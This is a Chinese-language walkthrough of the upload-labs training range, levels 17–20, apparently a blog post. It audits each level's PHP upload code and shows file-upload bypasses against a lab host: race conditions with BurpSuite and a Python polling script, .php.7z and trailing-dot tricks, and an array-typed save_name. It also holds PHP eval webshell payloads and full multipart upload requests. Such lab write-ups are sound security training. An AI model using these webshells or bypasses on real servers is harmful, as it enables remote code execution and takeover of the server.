if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
|
1、关键函数
move_uploaded_file(string $from
, string $to
): bool
本函数检查并确保由 from
指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 to
指定的文件。
这种检查显得格外重要,如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话。
2、逻辑分析:系统是先保存的图片文件在判断是否合法,非法就删除,通过在删除之前访问该文件,实现绕过——条件竞争
攻击
利用BurpSuite同时爆破,一个爆破上传,一个爆破访问
我这边选择无payload,无需重复,资源池是默认,并发请求10
木马选用
1
| <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
|
上传抓包,发送Intruder
上传图片,访问图片,抓包发送Intruder
如果BurpSuite看不到访问图片,修改上方的Filter Setting 设置
上传报文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| POST http://192.168.2.221/Pass-17/index.php HTTP/1.1 Host: 192.168.2.221 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------8197107828310108462575363410 Content-Length: 432 Origin: http://192.168.2.221 Connection: keep-alive Referer: http://192.168.2.221/Pass-17/index.php Upgrade-Insecure-Requests: 1 Priority: u=0, i
-----------------------------8197107828310108462575363410 Content-Disposition: form-data; name="upload_file"; filename="condition.php" Content-Type: application/octet-stream
<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["shell"])?>');?> -----------------------------8197107828310108462575363410 Content-Disposition: form-data; name="submit"
ä¸ä¼ -----------------------------8197107828310108462575363410--
|
访问上传文件报文
1 2 3 4 5 6 7 8 9 10 11 12
| GET http://192.168.2.221/upload/condition.php HTTP/1.1 Host: 192.168.2.221 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://192.168.2.221/Pass-17/index.php Upgrade-Insecure-Requests: 1 If-Modified-Since: Fri, 18 Oct 2024 02:56:43 GMT If-None-Match: W/"40000000cecfe-6f4-624b773fd1920" Priority: u=0, i
|
访问上传文件也可以自己手动在浏览器刷新,不强求用BurpSuite爆破,多刷新几次总能访问到
GetShell
蚁剑连接 http://192.168.2.221/upload/shell.php
知识点
条件竞争上传木马
Pass-18
BUG 修复
修改Pass-18/myupload.php
里的setDir内容如下
1 2 3 4 5 6 7 8 9
| function setDir( $dir ){ if( !is_writable( $dir ) ){ return "DIRECTORY_FAILURE"; } else { $this->cls_upload_dir = $dir."/"; return 1; } }
|
源码审计
关键函数
1 2 3 4 5 6 7 8 9
| require_once() is_uploaded_file() move_uploaded_file()
require() include() include_once()
|
注意以下代码
1 2 3 4 5
| var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
|
如下代码规定了白名单后缀, 这里要特别注意7z这个后缀, 这后缀浏览器是无法解析的, 当浏览器遇到无法解析的后缀时, 就会往前解析, 要是我们上传文件名为webshell.php.7z
, 那么浏览器就会解析.php
后缀而不会解析.7z
后缀
注意在index.php中,执行了$status_code = $u->upload(UPLOAD_PATH);
upload()函数代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
$ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } }
$ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); }
if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } }
return $this->resultUpload( "SUCCESS" );
}
|
分析结果
在执行move函数之前,对文件的基本类型做了很完整的校验,无法上传php后缀;
上传1.php.7z
,绕过move函数之前的检查,上传成功,且浏览器也能识别PHP,此时为时刻a
在move函数之后,对文件有重新命名,此时文件就没有php后缀了,此时为时刻b
只要在时刻a - 时刻b这一段时间访问还未被重命名的木马文件即可利用上传木马
攻击
上传1.php.7z
内容如下
1
| <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
|
使用Pass-17方式Burpsuite爆破上传
编写python脚本一直访问http://192.168.2.221/upload/condition.php.7z
,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| import requests import argparse import signal import sys
keep_running = True
def visit_url(url, count): global keep_running if count is None: while keep_running: try: response = requests.get(url) if response.status_code == 200: print("成功访问") elif response.status_code == 404: print("文件不存在") else: print(f"访问返回状态码 {response.status_code}") except requests.exceptions.RequestException as e: print(f"请求错误: {e}") else: for _ in range(count): if not keep_running: break try: response = requests.get(url) if response.status_code == 200: print("成功访问") elif response.status_code == 404: print("文件不存在") else: print(f"访问返回状态码 {response.status_code}") except requests.exceptions.RequestException as e: print(f"请求错误: {e}")
def signal_handler(sig, frame): global keep_running print("\n检测到 Ctrl+C,是否终止程序?(y/n): ", end='', flush=True) choice = input().strip().lower() if choice == 'y': keep_running = False print("正在终止程序...") sys.exit(0) else: print("继续运行...")
def main(): global keep_running parser = argparse.ArgumentParser(description='单线程访问指定的URL') parser.add_argument('-u', '--url', required=True, help='要访问的URL地址') parser.add_argument('-n', '--number', type=int, help='执行的次数,未指定则无限次访问') args = parser.parse_args()
signal.signal(signal.SIGINT, signal_handler)
visit_url(args.url, args.number)
if __name__ == '__main__': main()
|
Burpsuite流程与Pass-17类似,脚本python <name.py> -u <url>
执行效果

访问http://192.168.2.221/upload/shell.php?shell=system("dir");
有回显,或蚁剑连接测试
知识点
条件竞争+浏览器后缀解析跳过,向前解析(不识别7z)
也可以上传本文Pass-18的图片马,利用文件包含漏洞利用,但是本关未提示文件包含,首选1.php.7z绕过
Pass-19
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; }
} else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
函数分析
获取后缀进行分析,若是非法后缀则拒绝上传,测试一下pathinfo函数返回的后缀啥情况
1 2 3 4 5 6
| <?php $t1 = '1.php.7z'; $t2 = '2.php. '; echo $t1, '是 ', pathinfo($t1,PATHINFO_EXTENSION), "\n"; echo $t2, '是 ', pathinfo($t2,PATHINFO_EXTENSION), '占位符', "\n"; ?>
|
测试结果:t1的后缀是7z,t2的后缀是空格
攻击
方法一:在Windows系统下,修改上传的文件名为1.php.
即可绕过上传,与Pass-6类似
方法二:大小写绕过
方法三:%00截断绕过
知识点
可控上传路径时,上传的绕过思路
Pass-20
源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| $is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); }
$ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
|
函数
1 2 3
| is_array() explode() reset()
|
代码分析:
- 检查Content-Type字段
- 确认保存的文件名是上传文件还是save_name参数
- 当
$file
不是数组,将$file
转换为小写并以.
分隔得到字符串数组
- 获取后缀,检测是否合法,合法则将字符串数组的索引0和索引末尾的值拼接得到新文件名
绕过思路:通过构造save_name参数为数组
1 2 3 4 5 6
| <?php $save_name[0]="1.php"; $save_name[2]="png"; print_r(count($save_name)); print_r($save_name[count($save_name)-1]); ?>
|
拼接的文件名就是1.php.
了
攻击
POST数据如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| -----------------------------27245070652084939691583848690 Content-Disposition: form-data; name="upload_file"; filename="1.php" Content-Type: image/png
<?php @eval($_REQUEST["shell"]);?> -----------------------------27245070652084939691583848690 Content-Disposition: form-data; name="save_name[0]"
1.php -----------------------------27245070652084939691583848690 Content-Disposition: form-data; name="save_name[2]"
png -----------------------------27245070652084939691583848690 Content-Disposition: form-data; name="submit"
上传 -----------------------------27245070652084939691583848690--
|
知识点
数组绕过
参考链接
全面了解文件上传漏洞, 通关upload-labs靶场!
upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析 - 白小雨 - 博客园
pass-16 二次渲染绕过
二次渲染绕过
文件上传—二次渲染
【文件上传绕过】–二次渲染漏洞